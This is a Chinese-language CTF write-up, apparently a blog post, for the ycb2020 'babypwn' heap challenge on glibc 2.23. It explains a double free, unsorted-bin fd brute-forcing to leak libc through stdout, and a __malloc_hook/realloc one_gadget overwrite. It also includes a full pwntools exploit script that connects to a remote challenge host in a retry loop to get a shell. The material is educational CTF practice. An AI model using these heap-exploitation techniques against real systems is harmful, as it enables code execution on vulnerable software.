ycb2020babypwn(unsortedbin爆破stdout泄露)

题目没有leak函数,肯定得打stdout,但是又是个2.23,有指针没清零的漏洞

在stdout-0x43的地方有0x7f的size,而且和main_arena+88很近,最后三位固定是0x5dd,所以需要爆破第二个字节的高位,概率是1/16。这应该是没leak的通用打法

然后题目是通过double free,控制堆块,修改size进unsortedbin,然后爆破fd,申请出stdout泄露libc,最后打malloc_hook和realloc去getshell。

操作

首先肯定是double free去改写堆上的fd指针拿到改写的fake chunk,这里是chunk0是被操作的chunk,chunk5是我们的fake chunk用来控制0,chunk6是专门用来垫小chunk的。

所以我们的思路就是,

free(6)#送小chunk
free(5)
add(0x60,p64(0)+p64(0xa1),'\x00')#释放再申请5,就是编辑5,来改写0,去做到任意地址写

失误1

我们的想法肯定首先要把0送到unsortedbin中,然后爆破改写他的fd的低2字节,

所以本来在拿到5的第一时刻就将0的size改写为0xa1,并free(0)进入unsortrdbin,然后edit(5)去改写0的size为0x71,和fd,但会发现写完之后其实是没办法申请出来stdout的。

失误1纠正

所以正确的思路第一次拿到5的时候不改0的size,先free(0)到fastbin中,然后edit(5)一次将0的size改为0xa1,再free(0),这次0就会同时存在在unsortedbin和fastbin中,

接下来就可以去修改0 的size为0x71,fd为stdout-0x43了

失误2

爆破拿到stdout-0x43后,我直接进行

add(0x60,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x58','\xaa'*0x10)

修改stdout

但是我发现,程序会卡在打出libc之后,

失误2纠正

应该是因为在add中,在输入完chunk内容后就会打出libc,但是add在这之后还有第三个输入,所以会和recvlibc冲突,导致程序卡住,所以这里要一句句输入,在第二个输入后就recvlibc,在进行第三个输入。

最后,还是edit 0 指向mallochook,打ogg

exp

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
def Local(LOCAL):
	if LOCAL == 1:
		p = process('./pwn')
	else:
		p = remote("node4.buuoj.cn",28965)
	return p

def Libc(LIBC):
	if LIBC == 2.23:
		libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
	elif LIBC == 2.24:
		libc = ELF("/home/hacker/glibc-all-in-one/libs/2.24-3ubuntu1_amd64/libc-2.24.so")
	elif LIBC == 2.26:
		libc = ELF("/home/hacker/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/libc-2.26.so")
	elif LIBC == 2.27:
		#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#1
		libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")#1.2
		#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")#1.4
	elif LIBC == 2.29:
		libc = ELF("/home/hacker/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
	elif LIBC == 2.30:
		libc = ELF("/home/hacker/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
		#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.30-0ubuntu2.2_amd64/libc-2.30.so")
	elif LIBC == 2.31:
		#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")#9
		libc = ELF("/home/hacker/glibc-all-in-one/libs/2.24-0ubuntu9.2_amd64/libc-2.31.so")#9.2
	elif LIBC == 0:#remote
		libc = ELF('./libc-2.23.so')
	return libc

################### exp ####################
def menu(idx):
	p.sendlineafter("Your choice : ",str(idx))

def add(size,con,msg):
	menu(1)
	p.sendlineafter("size of the game's name: \n",str(int(size)))
	p.sendafter("game's name:\n",con)
	p.sendlineafter("game's message:\n",msg)

def free(idx):
	menu(2)
	p.sendlineafter("index:\n",str(idx))


def exp(p):
#double free
	add(0x60,'\xaa',p64(0)+p64(0x71))#0
	add(0x60,'\xaa','\x01'*0x10)#1
	free(0)
	free(1)
	free(0)

#get 4 to get controled chunk
	add(0x60,'\x20','\x00')#2 0
	add(0x60,'\x00','\x01')#3 1
	add(0x60,'\x00'*0x58+p64(0x41),'\x00')#4 0

	add(0x60,p64(0)+p64(0x71),'\x00')#5 controling

#prepare 0x20 chunk	for edit
	add(0x20,'\xaa','\x00')#6

#free 0 into fastbin
	free(0)

#edit
#change 0 size
	free(6)#0x20
	free(5)
	add(0x60,p64(0)+p64(0xa1),'\x00')#7 0 5

#free 0 into unsortedbin
	free(0)

#edit
#change 0 size and fd to stdout-0x43 
	free(6)#0x20
	free(5)
	add(0x60,p64(0)+p64(0x71)+'\xdd'+'\xc5','\x00')#7 0 5

#get stdout-0x43	
	free(6)
	add(0x60,'\x00','\x00')
	free(6)

#add(0x60,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x58','\xaa'*0x10)
	menu(1)
	p.sendlineafter("size of the game's name: \n",str(int(0x60)))
	p.sendafter("game's name:\n",'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+'\x58')

#leak libc
	libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c56a3
	log.info("libc_base = "+hex(libc_base))

	p.sendlineafter("game's message:\n",'\xaa'*0x10)
	
#get malloc_hook
	malloc_hook = libc_base + libc.sym["__malloc_hook"]
	realloc = libc_base + libc.sym["realloc"]
	ogg = libc_base + 0x4526a

	free(0)
	#edit
	free(6)#0x20
	free(5)
	add(0x60,p64(0)+p64(0x71)+p64(malloc_hook-0x23),'\x00')#7 0 5
	
	free(6)
	add(0x60,'a','b')
	free(6)
	add(0x60,'\x00'*(0x13-0x8)+p64(ogg)+p64(realloc+0xd),'a')

	menu(1)
	p.sendline("cat flag")
	#gdb.attach(p)
	
	p.interactive()




if __name__ == '__main__':
	elf = ELF("./pwn")
	while True:
		try:
			LOCAL = 0
			LIBC = 0

			p = Local(LOCAL)
			libc = Libc(LIBC)
	
			exp(p)
		except:
			#sleep(1)
			p.close()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值